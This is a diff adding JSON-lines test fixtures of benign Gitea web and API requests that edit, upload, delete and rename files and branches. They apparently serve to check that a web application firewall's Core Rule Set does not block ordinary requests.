+{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 335", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A++++restart%3A+always&commit_summary=Restart+the+web+service&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=feat%2Fdocker-support&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 251", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docs%2Fsetup.md&content=%23+Setup&commit_summary=Add+setup+notes&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=powershell-setup-notes&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 195", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&commit_summary=Drop+the+old+setup+script&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=python3-migration&commit_mail_id=1"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"}
+{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"}
+{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": \"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"}
+{"method": "POST", "target": "/alice/tools/_edit/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 267", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=b69a66a389d3a15c29f4cadf8d92662b97edefc4&page_has_posted=&tree_path=.htaccess&content=Options+-Indexes%0D%0A%23+No+directory+listings%0D%0A&commit_summary=Update+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/_edit/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 298", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=af80d9f64107082ff52b6aae5a10828742fe01c2&page_has_posted=&tree_path=scripts%2Finstall-script.sh&content=echo+Installing+the+tools.%0D%0Aecho+Done.%0D%0A&commit_summary=Update+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 205", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhkq69WdAprWrxB7m", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryhkq69WdAprWrxB7m\r\nContent-Disposition: form-data; name=\"file\"; filename=\"release-notes.txt\"\r\nContent-Type: text/plain\r\n\r\nRelease notes\n\r\n------WebKitFormBoundaryhkq69WdAprWrxB7m--\r\n"}
+{"method": "POST", "target": "/alice/tools/_upload/main/docs", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "tree_path=docs&files=d730c135-cc1c-49b7-a402-d237c0828939&files_fullpath%5Bd730c135-cc1c-49b7-a402-d237c0828939%5D=release-notes.txt&commit_summary=Upload+the+release+notes&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=feat%2Fdocker-support&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 191", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPZVdfDJ4Whs72TTk", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryPZVdfDJ4Whs72TTk\r\nContent-Disposition: form-data; name=\"file\"; filename=\"build.ps1\"\r\nContent-Type: text/plain\r\n\r\n# Build\n\r\n------WebKitFormBoundaryPZVdfDJ4Whs72TTk--\r\n"}
+{"method": "POST", "target": "/alice/tools/_upload/main/scripts/powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 291", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "tree_path=scripts%2Fpowershell&files=4eb22017-b621-4063-b0a9-ce7cdf5e0853&files_fullpath%5B4eb22017-b621-4063-b0a9-ce7cdf5e0853%5D=build.ps1&commit_summary=Add+a+PowerShell+build+script&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=fix-powershell-module&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 222", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d67674a8bc9dece3fd3dd7486e58e44ca7431457&page_has_posted=true&revert=false&commit_summary=Document+.htaccess&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=python3-migration&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d67674a8bc9dece3fd3dd7486e58e44ca7431457&page_has_posted=true&revert=false&commit_summary=Document+.htaccess&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=update-powershell-docs&commit_mail_id=1"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 388", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"create\", \"path\": \"docs/setup.md\", \"content\": \"IyBTZXR1cAo=\"}, {\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKUnVuIHRoZSB0ZXN0cyBiZWZvcmUgYSByZWxlYXNlLgpTZWUgc2V0dXAubWQuCg==\", \"sha\": \"fb5a6e4c18bfe5f548e708d52b57f2aa58f7b2a8\"}], \"message\": \"Add the PowerShell setup notes\", \"branch\": \"python3-docs\", \"new_branch\": \"fix-powershell-docs\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 282", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKVGhlIHdlYiBzZXJ2ZXIgcmVhZHMgLmh0YWNjZXNzLgo=\", \"sha\": \"17e0f0dedfdc83c924c6399a21434fc8240f488c\"}], \"message\": \"Document .htaccess\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"python3-notes\"}"}
+{"method": "POST", "target": "/alice/tools/_preview/main/docs/setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 97", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "HX-Current-URL: http://example.com/alice/tools/_edit/main/docs/setup.md", "Content-Type: application/x-www-form-urlencoded", "HX-Request: true", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docs/setup.md", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "context=%2Falice%2Ftools%2Fsrc%2Fbranch%2Fmain&content=%23%20Setup%0A%0AInstall%20the%20tools.%0A"}
+{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 31", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"feat/docker-support\"}"}
+{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 33", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"fix-powershell-module\"}"}

internal/coreruleset/testdata/gitea-names-in-bodies.txt

@@ -0,0 +1,41 @@
+# Ordinary gitea 1.27.3 requests that name a file or a branch in a body, which
+# the Core Rule Set must let through while it reads bodies. They were recorded
+# from a gitea driven by a headless Chrome, signed in, and by a script on the
+# API. Each line is one request as JSON. Names, cookies and tokens are
+# invented. The browser's User-Agent is an ordinary Chrome's.
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
+{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 864", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd2r1zGuX9U2OBld1", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n  web:\r\n    image: nginx:1.27\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nPin nginx\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n0735bcea75feef4e6d8b85866be904fadd379426\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1--\r\n"}
+{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 862", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywVqkqv2Jr7ji4Kze", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/python3-setup.md\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n\r\nInstall the tools.\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n71e995c2394ac116247f342fb116b0058e1ec738\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze--\r\n"}
+{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 621", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQH6Zh33PIE4XdrL5", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove .htaccess\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nd44f04577d741b385554aaf75898d84c0e6be0e4\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5--\r\n"}
+{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 637", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5NJfG6GBxpj4Yj1g", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove scripts/install-script.sh\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ne0855ca76e18ad6cc42b3ed5c99247293522f926\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g--\r\n"}
+{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
+{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
+{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"}
+{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"}
